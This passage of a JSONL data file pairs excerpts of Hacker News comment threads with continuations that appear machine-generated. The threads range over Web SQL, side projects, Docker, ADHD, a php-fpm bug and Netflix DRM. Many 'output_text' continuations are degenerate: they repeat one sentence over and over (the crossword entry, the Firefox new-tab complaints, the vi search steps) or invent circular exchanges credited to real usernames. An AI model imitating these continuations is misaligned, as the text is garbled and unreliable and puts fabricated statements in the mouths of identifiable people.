more\nthan one way to do this (TMTOWTDI), as long as you recognize that my way is\nthe right way in almost all foreseeable cases, so we'll build the tool this\nway\". That statement is rarely correct, especially when making a browser\ncapability. (Yes, I know, trying to disprove a generalization with a\ngeneralization isn't very persuasive. Oh well.)\n\nI read all the concerns (it's a standard built around sqllite, and who wants\nthat?!?!, etc.) and I still sigh a sigh of disappointment that it's come to\nthis. I know, Web SQL isn't going away, as the author points out, but it will\nbe a 2nd class citizen for the foreseeable future, and that's just a missed\nopportunity, imho.\n\n~~~\nyogo\nExactly they both have scenarios that they work very well for just like you\nhave with the server-side SQL RDBMS and the NoSQL ones. IndexedDB is fine for\nsimpler apps or apps where there isn't a real need for joining, grouping and\nordering the records in a very flexible way.\n\nWeb SQL is definitely dead in native Chrome apps. It"} +{"output_text": " a database\nof words and definitions.\n\n\\- A web based crossword app, content automatically generated from a database\nof words and definitions.\n\n\\- A web based crossword app, content automatically generated from a database\nof words and definitions.\n\n\\- A web based crossword app, content automatically generated from a database\nof words and definitions.\n\n\\- A web based crossword app, content automatically generated from a database\nof words and definitions.\n\n\\- A", "input_text": " and building another (python) web\nframework then that's fine too. One difference is that many of the above side\nprojects are new and do things that we didn't have prior to someone building\nthem, meanwhile yet another web framework a la bottle et al is really\ncontributing very little new.\n\n~~~\nfreework\nIts not about size, its about length of development. Great software takes more\nthan a few days to create. I think the most direct indicator of software\nquality is number of commits. A project with 10 commits is probably full of\nbugs. A project with 400 commits has probably had enough chance to adapt\nreally well to whatever problem it is supposed to be solving. Its not a direct\ncorrelation, but its usually true.\n\nI've had co-workers who had 50 github repos all filled with 30 line \"projects\"\nwith 5 commits each. Those types of projects don't make you a better\nprogrammer. Work on the same project all year. That will make you a better\nprogrammer. Craft the project. Let it adapt. Test it, deploy it. Tweak it.\nDeploy it again. Seek feedback from users. Tweak it some more. Going through\nthat process _will_ make you a better programmer.\n\n~~~\nluckysh0t\nSounds more like the day job than a side project.\n\n------\nreidrac\nThat's a good list!\n\nWhen I start a side project I tend to forget that after it's \"done\" I have to\nmaintain it. In fact I've been delaying the inevitable and I should kill a\ncouple of them ASAP (hey, that's a good new year's resolution!).\n\nMy 2012 list is quite short:\n\n\\- A web based crossword app, content automatically generated from"} +{"output_text": " a good one. I think it's a good idea to\nstart with a hypothesis and then test it.\n\n> I don't mind failing while doing something even if I don't know much about\n> it.\n\nI don't think you should be afraid of failing. I think you should be afraid of\nnot trying.\n\n> I'm likely to learn them by discovering and reading new things, than spending\n> straight 1 years learning all from a book without knowing where", "input_text": " only to find you are likely to forget it 2\nyears down the lane anyway, is a wrong way to be spending your time.\n\nAs a programmer what excites me most is a new challenge I've never faced\nbefore, And the journey of hard work, discovery, failure and success that\nfollow from such a attempt. I don't mind failing while doing something even if\nI don't know much about it. I'm likely to learn them by discovering and\nreading new things, than spending straight 1 years learning all from a book\nwithout knowing where they will be ever used up.\n\nThe only thing that excites me besides money is the joy of discovering new\nthings, and realizing that I might have solved a real world problem that might\nbe helping someone. Trivia stuff doesn't excite me anymore, I don't see what\nand how have I changed things around me by merely just knowing more.\n\nLife is really short, I know I have little time to make all the money I want\nso that I can see the other parts of life. I know coding and math are\nexciting, but they are among the many things that are exciting in life. Think\nof it this way, you might have a favorite Ice cream flavor, but unless you\ntaste other flavors how would you ever know if others are better? Or after\ntrying the other flavors you might just discover you have a new favorite\nflavor!\n\n~~~\nirahul\n> But isn't this getting overboard?\n\nNaive bayes, with a relevant dataset, does a very fine job of data\nclassification(sentiment analysis, spam detection...). Also, almost everyone\nwho isn't a liberal arts major would have come across Bayes theorem in high\nschool or college.\n\nThe question about A/B testing is"} +{"output_text": "\n\n~~~\ntptacek\nGoogle's SREs are not \"highly experienced engineers who can be trusted\".\n\n~~~\njacquesm\nI'm not sure what you mean by that.\n\n~~~\ntptacek\nGoogle's SREs are not \"highly experienced engineers who can be trusted\".\n\n~~~\njacquesm\nI'm not sure what you mean by that.\n\n~~~\ntptacek\nGoogle's S", "input_text": "RE\" isn't a very strong answer here?\n\n~~~\nbtilly\nI think you don't know what you are talking about here.\n\nIt is like someone seeing an ad for entrepreneurs that says, \"Willing to work.\nWilling to take risks. Strong computer skills a significant plus\".\" And then\nconcluding that the bar to being a successful entrepreneur is very low so they\nshould be dismissed as a group.\n\nBecoming an SRE is much, much harder than just having the credentials you\nlisted. Being an SRE generally does not give you full access to everything at\nGoogle. I never met this one, so I don't know what his role was or why he was\ngiven that level of access. But that access really isn't something that just\ngets handed out to people off the street.\n\nThe fact that you found that ad, and that Google screwed up this particular\ncase, doesn't say that Google doesn't limit who gets access to sensitive data.\n\n~~~\ntptacek\nI think you're extrapolating too much out of my comments. I'm saying that \"SRE\nis an important job\" doesn't answer the concern. I'm not surprised that Google\nhas controls beyond \"you're an SRE, you can do whatever you want\" --- in fact,\nI'd be shocked if they didn't. But it sure sounds that way from the story that\njust broke yesterday.\n\n------\njacquesm\nAt first glance, google comes off pretty good on how they dealt with this, but\nyou have to wonder how come a single engineer has access to google voice _and_\ngoogle mail and IM data of end users. SRE's as these employees are labeled\n(site reliability engineers) are 'highly experienced engineers who can be\ntrusted'."} +{"output_text": " university, and that the bubble is so large that\nit's impossible to get a representative sample of the population.\n\n~~~\njimmaswell\nI think the bubble is smaller than you think. I know a lot of people who\ndidn't go to university, and I know a lot of people who did. I know a lot of\npeople who went to university and didn't vote for Brexit, and I know a lot of\npeople who did.\n\n~~~\nfre", "input_text": " young. Extrapolate that out to a decade, two decades, or an\nentire career and I bet we would both be singing a different tune.\n\n~~~\nnoir_lord\nOh I'm sure, some of those jobs would break you if you did them for a decade\nor two, it's why I got into programming after training as an industrial\nelectrician, I looked at the guys I was working with who where 20-30 years\nolder than me (40-50) and they where messed up so I took a different path.\n\nAgain though I don't regret it, the training was useful and it taught me life\nskills that are applicable to software engineering (though the stakes are a\nlittle lower when not working with 11kV systems).\n\n~~~\nfzzzy\nSerious question, you don't think programming is going to break you after a\ndecade or two?\n\n~~~\nnoir_lord\nI've been doing it full time since my mid-20's and I'm 39..so no?\n\n------\nfrereubu\nAs David Runciman has pointed out in his book How Democracy Ends and on the\nTalking Politics podcast -\n[https://www.talkingpoliticspodcast.com/blog/2017/71-how-\ndemo...](https://www.talkingpoliticspodcast.com/blog/2017/71-how-democracy-\nends) \\- if you could only ask one question of someone you'd never met before,\nwhich would give you the best possibility of guessing whether they'd voted for\nBrexit, it would be whether they went to university (Remain) or not (Leave).\nHe argues that, in the UK at least, there's a bubble of professional\npoliticians who all went to"} +{"output_text": " don't like\nthe new tab page, but I can live with it. I don't like the new tab page\nbecause it is a bit too busy. I don't like the new tab page because it is\nslow. I don't like the new tab page because it is not responsive. I don't like\nthe new tab page because it is not customizable. I don't like the new tab\npage because it is not extensible. I don't like the new tab", "input_text": " must be signed by Mozilla to be installed with no ability to\noverride, they turned HTTP/2 into an agenda by making TLS mandatory in spite\nof the IETF's decision on that. They continue to blow off per-tab process\nsupport, and 64-bit Windows builds are _still_ not mainstream. And that's off\nthe top of my head, I'm sure there's more. Eich doesn't even have to factor\ninto this, no matter which side of that you're on.\n\nYou can like or hate any one of those, and yes if you want 20 extensions you\ncan mostly make it look and act like it used to. (Plus, they talk about\nremoving all that stuff to simplify and unbloat the UI, and then they add\nuseless crap like Firefox Hello in its place.) But each time they changed\nthings and completely ignored their user's feedback, they lost a few more\nusers to Chrome. I don't really like Chrome all that much either, but at least\nit's not a constantly changing target, where you never know what feature\nyou're going to lose because of an auto-update.\n\nFirefox's decline wasn't any one great catastrophe: it's been death by a\nthousand papercuts.\n\nIt's really simple: if you offer a feature at one point, and you want to keep\nyour users happy, then you don't completely remove that feature from them in\nthe future. You can default to something else, fine, but you make an effort\nfor people who liked the old way. Microsoft understood this up until Windows\n8. And it looks like they're relearning that lesson again a bit with Windows\n10's changes.\n\n~~~\nIgorPartola\nFunny, the list you provide are all the changes I really like. I"} +{"output_text": "'s interesting - I wonder if it's because of the increased value of the\nonline version, or if it's because of the increased value of the print\nversion.\n\nI'm not sure how you're measuring the value of the online version - but I\nwould guess that the value of the online version is probably less than the\nvalue of the print version.\n\nI'm not sure how you're measuring the value of the print version - but I\nwould guess that the value", "input_text": "2012/03/newspaper-sales-\nslid-t...](http://newsosaur.blogspot.com/2012/03/newspaper-sales-slid-\nto-1984-level-in.html)\n\n~~~\nghshephard\nThe graph is apparently not inflation adjusted - so it de-emphasizes the drop\nin print advertising as compared to 1984- that is, on the graph, a dollar spen\nin 1984 is equal to a dollar spent in 2012. As a side note - anybody who ever\nplots $ over time, please add a small caption that either says \"inflation\nadjusted\" or \"not inflation adjusted\" - the educated reader will appreciate\nthat greatly.\n\n------\nnkassis\nHas anyone looked at the impact of paywalls on revenues? Has it led to an\nincrease in online revenues for those who attempted it?\n\nThe problem with the metric used in the article is that it doesn't say much.\nWas it less online revenues that cause the ratio to drop? Was it an\nacceleration of people unsubscribing from the paper version? Are print ads now\nworth less than they used too by impressions?\n\n~~~\nTylerE\nDon't know how much I an really disclose, but, for us (small-ish daily, ~20k\ncirc), once we went to a (partial) paywall, circulation defiantly went up. Our\nmodel is that you must be a subscriber to get through the paywall, all print\nsubscribers get online as well - you can get online e-edition/pdf access\nwithout home delivery, but it costs the same.\n\nOur circulation is higher than it was two years ago. Not sure many papers can\nsay that.\n\n~~~\nghshephard\nThat"} +{"output_text": " a link to the opinion itself.\n\n~~~\ndogma1138\nI'm not sure why you're being downvoted, the link is to the actual opinion\nwhich is a summary of the opinion.\n\n~~~\ndeclan\nI'm not being downvoted. I'm just saying that the HN guidelines say to link to\nthe original source, not to a summary.\n\n~~~\ndogma1138\nI'm not sure why you're being downv", "input_text": " site simulators\" Somehow I don't think they'd call it that if I\n\"simulated a law enforcement officer\", presented a \"simulated identification\ndocument\", or enticed someone to pay me for a \"simulated service\", opening\nmail addressed to my \"simulated persona\" but not to me, etc. These devices are\nfraudulently impersonating users' cell service carriers. They are fake cell\ntowers.\n\n~~~\nthaumasiotes\nThey likely operate with permission from the cell service carriers, which\nwould make a big difference legally.\n\n~~~\nTazeTSchnitzel\nDo they? Why would the Govt. tell the carriers about it?\n\n~~~\ntoomuchtodo\nBecause without carrier permission, they're violating Federal laws\nadministered by the FCC.\n\n~~~\nscintill76\nWithout carrier permission, they might be violating some type of interference\nregulations, but I would also think the fake cell device itself and maybe its\noperator would need FCC licenses regardless of carrier permission. As an Ars\nTechnica post I linked in another comment shows, the cell sites are probably\nbeing used outside of the constraints of their FCC licenses.\n\n------\ndogma1138\nThis is the actual link [http://law.justia.com/cases/federal/district-\ncourts/illinois...](http://law.justia.com/cases/federal/district-\ncourts/illinois/ilndce/3:2015mc00021/317964/1/)\n\n~~~\ndeclan\nWell, yes, but HN often links to blog posts and news articles about a court\nopinion rather than the opinion itself.\n\nA summary (that links to the opinion) tends to be more useful to non-\nspecialists than"} +{"output_text": "\nI'm not sure what you mean by \"overworked the the comment it was a bit off.\"\n\n~~~\ncf498\nI meant that I didn't think it was a good idea to mix up the two.\n\n------\njedberg\nI'm not sure why this is on the front page. It's a pretty standard\n\"historical\" article.\n\n~~~\ntoufiqbarhamov\nI think it's because it's a good example", "input_text": " and after\nVietnam, just sought to make a constant stream of wars and armed conflicts\nmore palatable to the public.\n\nThe problem is the sheer amount of war, constant war, completely unjustified\nwar. Vietnam is a great example (credit to darkpuma for knowing their stuff)\nof just such a waste, which makes the lengthy fallout all the more\nunforgivable. WWII by contrast, a subject I didn\u2019t raise incidentally and so\nhad no Godwin moment (I responded to a post explicitly mentioning the\nManhattan project), was nothing chosen by anyone other than the Axis.\nDeveloping and deploying nuclear weapons existed in the context of a fight for\nsurvival, against powers that systematically murdered millions of non-\ncombatants. Japan, putting aside Pearl Harbor, was monstrous in China, Korea,\nand the Philippines. They dropped plague fleas on Manchuria, slaughtered a\nsmall tortured prisoners, and Germany... well, we all know about that.\n\nThere was no reason to believe that victory over them was certain, or even\nlikely until the war had rages for years. There was every reason to believe\nthat life under the Nazis would be hell, and fatal for swathes of humanity.\nThe Japanese were not particular better, and China and Korea still bear the\nscars.\n\nAll of which is to say, I objected to mixing up people who designed mines for\nVietnam, with people fighting WWII on the front, or in the lab.\n\n~~~\ncf498\n>a subject I didn\u2019t raise incidentally and so had no Godwin moment (I\nresponded to a post explicitly mentioning the Manhattan project)\n\nOverworked the the comment it was a bit off.\n\n~~~\ntoufiqbarhamov"} +{"output_text": " I had to change my mindset.\n\nI started to think of my work as a game. I started to think of my work as a\ngame where I had to win. I started to think of my work as a game where I had\nto win. I started to think of my work as a game where I had to win. I started\nto think of my work as a game where I had to win. I started to think of my\nwork as a game where I", "input_text": "comments responding to it), as opposed to, you know, just not wanting to\nprogram all day.\n\n------\nstared\n\"Smart Guy Productivity Pitfalls\"\n([http://bookofhook.blogspot.com/2013/03/smart-guy-\nproductivit...](http://bookofhook.blogspot.com/2013/03/smart-guy-productivity-\npitfalls.html)) were useful to me and techniques related to \"no zero days\" and\njust getting started (with a single sentence, slide, line of code) are\nvirtually the only things that consistently work for me. These techniques are\nnicely summarized in \"Micro-Progress and the Magic of Just Getting Started\"\n[https://mobile.nytimes.com/2018/01/22/smarter-\nliving/micro-p...](https://mobile.nytimes.com/2018/01/22/smarter-living/micro-\nprogress.html).\n\nAnything causing _guilt_ turned out to be counterproductive, vide my answer to\n\"How to stop feeling guilty about unfinished work?\":\n[https://academia.stackexchange.com/questions/17988/how-to-\nst...](https://academia.stackexchange.com/questions/17988/how-to-stop-feeling-\nguilty-about-unfinished-work/18009#18009).\n\n~~~\nswah\nI love that first blog post: \"Productivity Deficit: Your Attitude Writing\nChecks Your Work Ethic Can't Cash\"\n\nWish that guy continued writing...\n\n------\nbkanber\nI used to be lazy. For me there was no tactic that solved the problem, but\ninstead"} +{"output_text": " on a project like this? I'm curious to hear about the\nchallenges you faced and how you overcame them.\n\n~~~\njoshuapants\nI've worked on a project like this. It's a lot of work.\n\nThe biggest challenge is that you have to make sure that the glasses are\ncomfortable to wear for long periods of time. I've worn them for a few hours\nat a time, but I've never worn them for more than", "input_text": "fee\nI was an early member of Pristine (the Google Glass company that Upskill\nrecently acquired) where I began as a developer, and then landed our first\npaid deal at the end of 2014.\n\nWe used to buy the glasses for $1500 a piece and had a probably 50 pairs of\nthem lying around by early 2015.\n\nThe engineering team was great - while I was there it felt like we were flying\nblind wrt Google\u2019s official support. From a business perspective, I\u2019m not sure\nproduct market fit was really ever achieved, though after I left the company\nexpanded its horizons beyond healthcare / telemedicine.\n\nGood luck to Upskill :)\n\n------\n0xfab1\nThat makes me want a pair that's installed with an app that shows relevant\nstackoverflow answers as I code.\n\n~~~\ne12e\nBut why would you want to wear something like this, for that? I can see how an\neditor/IDE plugin might be useful (a la racer for rust etc) - that would\nupdate a section of the screen with tips - but I don't think I'd like to have\nthis on a completely different device.\n\nNow, with a full vr headset, it might make sense to be able to place such\nthings outside of the normal field of vision (where your text/code editing\nresides) - but so far I don' think working full time in VR with text is a\ngreat idea, with the current generation of headsets.\n\n~~~\nsigstoat\n> But why would you want to wear something like this, for that?\n\ncan't have other folks knowing you're looking things up on SO. it'd ruin your\nmystique.\n\n------\nmorley\nHas anyone here worked"} +{"output_text": " you're\ndoing. Maybe you're not doing something you enjoy. Maybe you're doing something\nyou don't enjoy but you're doing it because you think you have to.\n\nThird, if you're not doing something you enjoy, maybe you're doing something\nyou don't enjoy because you think you have to.\n\nFourth, if you're not doing something you enjoy, maybe you're doing something\nyou don't enjoy because you think you have to.\n\nFifth", "input_text": ". That way I can do a boring thing for a week, then\ndo something interesting, and then back to the boring. If there's no\ninteresting paid projects, I just work on things I can find enjoyment in -\nlearning new things, working on things I enjoy and dropping them as soon as\nthe \"fun\" goes away.\n\nFor personal projects I avoid breaking them down into smaller steps. With\nsmaller steps I can see the mountain of work ahead of me (most of which isn't\nthat fun) and the motivation to work on it goes away, even if there's still\nplenty of enjoyment to be derived for said project. That's also one of the\nreasons why I rarely release anything personal I work on - the fact that once\nits out there and I would need to maintain it, kills the fun.\n\nI also try to limit my working hours to a certain range; the only reason why\nto work outside of those hours is if I've been slacking off previously and\nneed to catch up to hit a deadline or if the project is so much fun it's\nalready as relaxing as anything else I could be doing to wind down after work.\n\nGetting 8 hours of sleep is also very important for me. Any less for an\nextended period and I'm beginning to inch towards a depressed state of mind.\nAny more than 8 hours and my procrastination goes up.\n\nBut yeah, finding out what works for you is always difficult, and I think it\nalso changes with time.\n\n------\nxwvvvvwx\nFirstly if you think you may have ADHD go and see a doctor for a diagnosis.\nIt's a very common condition and there are a set of well understood and\neffective treatments.\n\nSecond, if you struggle to motivate yourself, maybe reassess what"} +{"output_text": " `n` to go forward in your history\n\n3) Use `p` to go to the previous command\n\n4) Use `n` to go to the next command\n\n5) Use `p` to go to the previous command\n\n6) Use `n` to go to the next command\n\n7) Use `p` to go to the previous command\n\n8) Use `n` to go to the next command\n\n9) Use `p", "input_text": " ssh command that I use to connect to a server and set up some\ntunnels and I always enter it by doing Control-R and looking for part of the\nserver's name. If it ever falls of the end of my history I'm in trouble.\n\n~~~\naroch\nControl-R with fuzzy searching never seemed to work as well as I wanted to.\n\nAlso, you should setup some aliases :)\n\n~~~\nnanofortnight\nOr ssh host shortnames! [http://davidwinter.me/articles/2010/08/22/setting-up-\nssh-hos...](http://davidwinter.me/articles/2010/08/22/setting-up-ssh-host-\nshortnames/)\n\n------\nahnick\nI prefer using vi bindings (from bash type \"set -o vi\" to enable) to the ^R\nmethod. If you know vi/vim then the results you get are very intuitive.\n\nHit Esc to enter vi mode and then hit \"/\". Type your search and hit enter. If\nthe first result that comes up isn't what you are looking for then hit \"n\" for\nthe next result. To go backwards do Shift + \"n\".\n\n~~~\njeorgun\nSo _that's_ what it is! I was just getting increasingly frustrated, wondering\nwhy \"?\" wasn't working.\n\nI guess staying intuitive is a difficult game to play, when your premise (the\ndefault / most useful searching order) is inherently different from the norm.\n\n------\nhartator\nIn zsh and some bash, you can access command history in a way simpler way:\n\n1) Start typing a command `ssh`\n\n2) Use `up` arrow to go backward in your history\n\n2) Use"} +{"output_text": "imgur.com/0Z1qZ.png](http://i.imgur.com/0Z1qZ.png)\n\n1\\. Use a grid system.\n\n2\\. Use a grid system that repeats.\n\n3\\. Use a grid system that repeats and has a different number of columns.\n\n4\\. Use a grid system that repeats and has a different number of columns and\ndifferent column widths.\n\n5\\. Use a grid system that repeats and", "input_text": "Hi Nailer!\n\nGood call, although I would disagree with the \"objectively better\" :-)\n\nI'd recommend using a semantic layout when you have an \"application website\",\nlike gmail, github or twitter. The layout is strong, and the content needs to\nlay within each layout block. For this specific design problem, I think that\nthe semantic layout is a good design pattern.\n\nBut sometimes the problem is different. Sometimes you have a more \"editorial\"\napproach, where you need some specific layout (this is a good example:\n[http://stackoverflow.com/questions/24060704/achieving-a-\ncomp...](http://stackoverflow.com/questions/24060704/achieving-a-complex-grid-\nin-bootstrap)). Trying to define that grid semantically is nearly impossible!\nAnd the problem get worse when that grid doesn't repeat anymore, and the next\none is slightly different :-(. In this circumstances, I'd suggest using an\nexplicit grid system.\n\nThere's a myth in web development that says: \"If you have a good semantic\nmarkup, you can achieve any design layout with CSS\". This is absolutely false!\nThis kind of myth usually comes from backend developers after seeing\ncsszengarden. Sometimes you need to add some html tags like divs (that are\nharmless, as they don't have any semantic weight). Don't touching the html\nwill mean going under a CSS hell with hacks and cross browser issues.\n\nDoes this sound like bullshit? What are your thoughts?\n\nCheers!\n\n~~~\nnailer\nIt doesn't necessarily have to be semantic, but your visual styling should be\nin your style sheet. I'd do the following to achieve\n[http://i."} +{"output_text": ", she's been able to find a way to\nbalance it out.\n\nI've also been able to find a way to balance it out. I've been able to\nconcentrate on things that interest me, and I've been able to find ways to\nmake money doing things I enjoy.\n\nI've also been able to find a way to make money doing things I don't enjoy.\nI've been able to find a way to make money doing things I don", "input_text": " technically a disorder until\nit prevents you from living your life.\n\nI was diagnosed with ADHD at about 12years old. I refused treatment all\nthrough high school until I was 30 when I realized I had gotten nowhere in\nlife. I had substance abuse problems and a criminal record.\n\nI'm back in college now. I have hobbies, goals, and no desire to turn back. My\nanxiety is gone as well as the impulse to self medicate. I've gone through\nseveral state mandated drug/alcohol/anger management classes over the years,\nso the cognitive behavior mechanisms were there, but when I finally told a\ndoctor my story, and how I felt, I got treatment and it changed my life.\n\nYou can't diagnose yourself and trying to is unhealthy. It manifests doubt and\ncan make things worse by compounding negative emotion.\n\nIf you're just being lazy, grow up. But if you are unable to will yourself to\ndo/focus on the things you want/need to do, if you feel you are \"suffering,\"\neven a little bit, ask for help.\n\nYou are important. Don't waste time guessing.\n\n------\ndabernathy89\nI've often felt the same way. So much so that I even did some testing a few\nyears back to see if I might have undiagnosed attention deficit issues (turns\nout I don't).\n\nThe worst byproduct of this is that it brings some shame with it. I've never\nhad jobs that demanded all that much of me - I worked some intense hours when\nfreelancing, but for the most part I've had very flexible jobs with good work\nenvironments. My wife works insane hours as a tax accountant, and although it\nmakes her miserable a lot of the time"} +{"output_text": ", I'm not a Windows Phone user so I can't comment on the UI\nconsistency of the OS.\n\n~~~\njosteink\n> \\- Weather app: there is a 'hamburger' menu on the left and another slimmer\n> hamburger menu on the right. They feel too similar visually. Presumably, the\n> right-hand menu is equivalent to the overflow menu you find on Android. But\n> are two menus needed here? Could they", "input_text": "atched visual styles: when you tap the phone icon, you get a bar of\nthree icons. Two are simple line icons (History and Contacts), the third is a\ndetailed picture of a keyboard to denote keypad. A minor thing and easily\nfixed.\n\n\\- Interface inconsistencies: I noticed that a large red X is used for closing\na screen (which I like over the sometimes unclear Back button behaviour you\nget in Android). But at 3:16 in the video the Wallpaper screen has a 'close'\nbutton (with X) and below that in the tab bar is the larger red X for closing\ntoo. So you have two close functions on the same screen. You see the same\nduplication on the date and Time screen at 3:41. By the way, I think the way\nWindows Phone lets you change date and time is much nicer. It's a similar\nspinner approach to Plasma but less cluttered. Here's a video of it in action:\n[https://youtu.be/kIsWgCX7qtE?t=54s](https://youtu.be/kIsWgCX7qtE?t=54s)\n\nAlso, the commands 'close', 'cancel' and 'delete' all tend to use the same X\nicon in many UIs so if there is no label for X, then it's meaning (and\nbehaviour) should be consistent across the OS.\n\n\\- Weather app: there is a 'hamburger' menu on the left and another slimmer\nhamburger menu on the right. They feel too similar visually. Presumably, the\nright-hand menu is equivalent to the overflow menu you find on Android. But\nare two menus needed here? Could they not all sit in one menu?\n\nObviously"} +{"output_text": " reproducible builds\n\nI don't think this is a good idea. If you're using a build system like\ndocker-compose, you should be able to build the same image on any machine.\n\n~~~\njgrowl\nI agree, but I think it's a good idea to have a way to build the same image\non any machine.\n\n------\njoshu\nI think the biggest thing is that you can run the same image on any machine.\n", "input_text": " actual DB process. This makes it easy to play around with your\ndata under different versions of your DB.\n\n------\nZitchDog\nIf you're familiar with Java, think of a docker container like a WAR or EAR,\nexcept it can contain ANY dependency, not just Java code. Database, binaries,\ncache server, you name it. The implementation is vastly different, but the\neffect is a deployment artifact that can be configured at build time, and\neasily deployed to multiple servers.\n\n------\natroyn\nCodeship have a great series on Docker for Continuous delivery on their blog:\n[http://blog.codeship.com/](http://blog.codeship.com/)\n\nThat said I've paged the founders to this thread, they can make the case much\nmore effectively than I can. (disclosure: I don't work for Codeship).\n\n------\njgrowl\nBesides just actually running software, I also find it really neat when\nprojects use docker to build their entire application. It provides an\neffective means of documenting all of your dependencies and making\nreproducible builds.\n\nTake the docker-compose for example. You can just check the code out, run a\nsingle script that builds the project for your environment and everything is\npretty much self contained in the dockerfile\n([https://github.com/docker/compose/blob/master/Dockerfile](https://github.com/docker/compose/blob/master/Dockerfile)).\nYou don't have to clog up your host computer with deps and you get an\nexecutable plopped into an output bin folder.\n\nAdditionally, the steps in the dockerfile get cached so subsequent builds are\nreally fast.\n\n~~~\ndavexunit\n>making"} +{"output_text": " you being fired, then you should probably not do that.\n\n------\njlgaddis\nI'm not sure if this is a \"bug\" or a \"feature\", but I'm going to go with the\nformer.\n\nI'm not a PHP developer, but I've been using PHP for a long time and I've\nnever seen this particular issue before.\n\nI'm not sure if this is a \"bug\" or a \"feature\", but I'm going", "input_text": " at the exploit and the patch... do I read it right: There is a\nbuffer underflow in php-fpm if the environment variables SCRIPT_FILENAME and\nPATH_INFO have a state that violates an assumption. And currently a widespread\nconfiguration of nginx + php-fpm is configured such that the URL can be\nsuffiently mangled such that nginx sets these parameters in a violating\nmanner.\n\nHowever, that means anything utilizing php-fpm in this version remains\nvulnerable, and it's just unknown if or how apache + php-fpm, or other reverse\nproxies for php-fpm are vulnerable - right?\n\nSo while I don't need to panic right now, I'll certainly have to take a look\nat our setups running php-fpm on monday.\n\n~~~\nmantoto\nOn Monday?\n\nAssume your systems are compromised and act accordingly.\n\n~~~\nroot_axis\nSome people choose not to work on weekends. Work/life balance etc.\n\n~~~\nPeterisP\nSure, but the price of not having 24/7 support may be that instead of applying\na patch you get to nuke everything from orbit and rebuild from backups.\n\n~~~\nroot_axis\nSure, but just because the company didn't want to shell out the dough for 24/7\nsupport doesn't mean that the employees should necessarily take it upon\nthemselves to work during their off time.\n\n~~~\nPeterisP\nIt probably comes down to the environment for other work. If the company will\n\"pay the price\" then that's okay, but if _you_ will \"pay the price\" i.e. if a\nneed to nuke everything from orbit and rebuild from backup will simply result\nin"} +{"output_text": "narrow, and curvy streets, and I've never seen a single car hit the brick wall\nin all my years of walking there.\n\n~~~\nwmorein\nI think the video is misleading. The crash happened on a narrow street, and\nthe car was going fast enough to hit the brick wall.\n\n------\njedberg\nI've always wondered why they don't just use a straight wall. It's much\ncheaper and easier to build.\n", "input_text": "Split rail fences are sort of similar\n\n[https://en.wikipedia.org/wiki/Split-\nrail_fence](https://en.wikipedia.org/wiki/Split-rail_fence)\n\n------\nbitslayer\nIn modern standards a straight wall is much easier to build because you can\njust measure once for each row and stretch a string to match the bricks\nagainst. A curved wall requires a level placed against every brick to make\nsure you are still going straight up. I expect older walls actually trusted\nthe mason's skill without going through all that. The Wiki photo certainly\nlooks true.\n\n~~~\nMagnumOpus\n> In modern standards\n\nEven in ancient times masons had pieces of strings and plumb-bobs to level\nvertically and horizontally.\n\nThe more likely constraint is that before the 20th century the farmer couldn't\nafford masons to lay orchard walls, but did it himself...\n\n------\nwmorein\nThere is one of these in Cambridge MA (or was until recently when someone\ncrashed their SUV through it):\n[https://boston.cbslocal.com/2019/05/15/cambridge-mass-car-\ncr...](https://boston.cbslocal.com/2019/05/15/cambridge-mass-car-crash-brick-\nwall-brattle-street-fresh-pond-parkway/)\n\n~~~\nSamBam\nI had seen the results of that accident, but was amazed by the video at all\nthe people saying that the area is a magnet for such accidents, and that the\nbrick wall itself had been hit many times.\n\nI mostly walk and bike in the city, but that whole neighborhood has wide,\n"} +{"output_text": "smallest temperature anomalies are not the same thing\nas the highest/lowest/largest/smallest temperature anomalies over the last\ncentury. The other is that the temperature anomalies are not the same thing as\nthe temperature anomalies over the last century.\n\n~~~\nhackuser\n> Climate change is real? I think that is pretty well understood by most of\n> the NY Times readers.\n\nI don't think it's well understood by most of the NY Times readers.", "input_text": " importantly, new solar is cheaper than new coal plants, even in\nIndia.\n\nAnd as far as countries like Nigeria, I propose that the developed world\nbegins to enact sanctions against reckless polluters to incentivize social\nnation state behavior.\n\nI think that we will find, just as transnational oil companies have found,\nthat the governments of countries like Nigeria are easily swayed by outside\nmoney.\n\nAnd this idea that controlling carbon will slow economic growth is ludicrous.\n\nWhat do you think having NYC and Miami flooded will do to growth? What about\n100 million refugees from Bangladesh. Look at the problem of Syrian refugees\nfor Europe.\n\nWe did one thing right, and we got solar pv cheap just in the nick of time.\n\n------\nhackuser\nCoverage in The Guardian as well:\n\n[http://www.theguardian.com/environment/2016/apr/15/march-\ntem...](http://www.theguardian.com/environment/2016/apr/15/march-temperature-\nsmashes-100-year-global-record)\n\nIt's very disappointing this isn't a major story (outside the remaining\nclimate denial outlets, such as Fox/Murdoch/WSJ). I don't recall seeing it\ncovered in the NY Times, for example. Perhaps I overlooked it, but it should\nhave been a big enough story that overlooking it was very unlikely.\n\n~~~\nChuckMcM\nWhat would be the story? Climate change is real? I think that is pretty well\nunderstood by most of the NY Times readers. The story is now \"This week in\nApocolpyse Forecasting.\" Two things make this challenging, one is that the\nhighest/lowest/largest/"} +{"output_text": " to say.\n\n~~~\njlgaddis\n> _What are they supposed to do? Deliver all their movies DRM-free and see\n> them immediately get copied to torrent sites?_\n\nI'm not sure what you're asking here.\n\n~~~\ndigler999\nI'm asking what they should do.\n\nI'm not asking what they should do if they don't deliver DRM-free content.\n\nI'm asking what they should do if they", "input_text": " etc into a\nsingle coherent interface - even terminal commands like configuring firewall,\nnetwork interfaces, user permissions, all that stuff.\n\nTo give you some examples it takes two clicks, a domain and any contrived\nemail address to get a Let's Encrypt certificate. It takes three more clicks\nto assign it to a web app Synology is serving from that device. You can add\nSSL to your own reverse-proxied app, also effortless to add, just as easily\nand enable HSTS with a checkbox.\n\nTheir torrent software can watch RSS feeds and download straight into a folder\nwhere it's indexed for their video server. Their video client provides a nice\ninterface for browsing but delegates the actual playback to VLC.\n\n------\ndigler999\nOn their website is a banner: \"Cancel netflix!\". I click on it, and I'm told I\nshould cancel netflix because they put DRM on their HTML5 delivery of movies.\n\nNow look, Im a self-professed pirate. I say screw most DRM and I dont\nrecognize IP law. However, I totally disagree that I should \"cancel netflix\".\nWhat are they supposed to do? Deliver all their movies DRM-free and see them\nimmediately get copied to torrent sites? Or else, what, not use HTML5 and\nrequire STB/smart tv support to use their product (which ALL have DRM, btw )?\n\nNetflix is the _good guy_, they are pioneers in electronic content delivery.\nThey are fighting to break the monopoly of the movie industry while having to\nwork _with_ them to get content. And they are producing their own content. All\nfor a very reasonable rate.\n\nI will absolutely NOT cancel netflix because they support DRM. What a\nridiculous 